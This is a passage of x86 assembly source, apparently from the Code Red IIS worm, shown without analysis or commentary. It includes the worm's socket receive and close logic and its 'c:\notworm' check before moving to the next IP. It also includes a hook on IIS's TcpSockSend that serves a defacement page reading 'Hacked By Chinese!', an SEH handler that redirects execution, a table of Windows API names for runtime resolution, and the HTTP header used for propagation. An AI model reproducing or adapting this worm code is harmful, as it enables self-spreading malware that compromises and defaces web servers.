                mov     [ebp+iobuf], 0
                mov     esi, esp
                push    0
                push    256             ; size
                lea     eax, [ebp+iobuf]
                push    eax
                mov     ecx, [ebp+sock]
                push    ecx
                call    [ebp+WS2_recv]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; i = # of bytes received
                mov     [ebp+i], eax
@@closesocket:
                mov     esi, esp
                mov     edx, [ebp+sock]
                push    edx
                call    [ebp+WS2_closesocket]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; check file and try next ip
                jmp     check_notworm
; never used
jmp$:

                jmp     short jmp$
@@push_ptr_to_fake_tcpsocksend:
                call    @@pop_ptr_to_fake_tcpsocksend
fake_tcpsocksend:
                jmp     short @@push_ptr_to_temparea_minus_5
@@pop_ptr_to_temparea_minus_5:
                pop     eax
                add     eax, 5          ; now ptr to temp_area
                push    ebp
                push    edi
                push    ebx
                push    esi
;
                push    eax
                push    3Ch
                mov     esi, eax
                add     esi, temp_0C - temp_area
                push    esi
                push    256
                push    dword ptr [eax + temp_defacedataptr - temp_area]
                push    dword ptr [esp+28h] ; socket == 1st arg
                call    dword ptr [eax + temp_TcpSockSend - temp_area] ; temp_TcpSockSend
                pop     eax
                push    eax
                push    dword ptr [esp+18h] ; socket == 1st arg
                call    dword ptr [eax + temp_closesocket - temp_area] ; temp_closesocket
                pop     eax
;
                pop     esi
                pop     ebx
                pop     edi
                pop     ebp
                jmp     dword ptr [eax + temp_TcpSockSend - temp_area]
                nop
@@push_ptr_to_temparea_minus_5:
                call    @@pop_ptr_to_temparea_minus_5
@@push_ptr_to_temp_area:
                call    @@pop_ptr_to_temparea
temp_area:
temp_TcpSockSend dd 6E22F8EBh

temp_closesocket dd 75033284h

temp_defacedataptr dd 45ACAB3h

temp_0C         dd 0B8123456h
                db  78h ; x
                db  56h ; V
                db  34h ; 4
                db  12h ;
                db 0B8h ; Ź
                db  78h ; x
                db  56h ; V
                db  34h ; 4
                db  12h ;
set_sehreturn_to_next:
                pop     eax
                push    eax
                mov     edi, [ebp+ptr_to_strings]
                mov     [edi + sehreturn_addr_plus_4 - 4 - strings], eax
                retn
seh_handler_real:
                mov     eax, [esp+0Ch]  ; context ptr
                add     eax, 0B8h       ; 0xB8 == context.EIP
                mov     dword ptr [eax], 0CDF1DAh ; set address to return to
sehreturn_addr_plus_4:
                xor     eax, eax
                retn
seh_handler:
                jmp     short seh_handler_real
@@push_ptr_to_strings:
                call    @@pop_ptr_to_strings

worm_main       endp

; order of the following strings must be the same
; as order of corresponding variables on the stack;
; 9 means that following name is DLL name and
; LoadLibrary must be called instead of GetProcAddress
; variables:
;   KERNEL32_LoadLibraryA
;   ...
;   W3SVC_IMAGEBASE

strings         label byte

                ; KERNEL32.DLL
                db 'LoadLibraryA',0
                db 'GetSystemTime',0
                db 'CreateThread',0
                db 'CreateFileA',0
                db 'Sleep',0
                db 'GetSystemDefaultLangID',0
                db 'VirtualProtect',0

                db 9                 ; library id
                db 'infocomm.dll',0
                db 'TcpSockSend',0

                db 9                 ; library id
                db 'WS2_32.dll',0
                db 'socket',0
                db 'connect',0
                db 'send',0
                db 'recv',0
                db 'closesocket',0

                db 9                 ; library id
                db 'w3svc.dll',0

                db  0                ; terminator

msg_get         db 'GET ',0

msg_?           db '?',0

msg_httphdr     db '  HTTP/1.0',0Dh,0Ah
                db 'Content-type: text/xml',0Ah
                db 'HOST:www.worm.com',0Ah
                db ' Accept: */*',0Ah
                db 'Content-length: 3569 ',0Dh,0Ah
                db 0Dh,0Ah,0

msg_cnotworm    db 'c:\notworm',0

msg_deface_id   dd 'HTML'

msg_deface      db 0Dh,0Ah
                db '<html><head><meta http-equiv="Content-Type" content="text/ht'
                db 'ml; charset=english"><title>HELLO!</title></head><bady><hr s'
                db 'ize=5><font color="red"><p align="center">Welcome to http://'
                db 'www.worm.com !<br><br>Hacked By Chinese!</font></hr></bady><'
                db '/html>'

                db 148 dup(32)

; end of worm body

                db      '$END$'         ; signature for XPLOIT.exe
                end
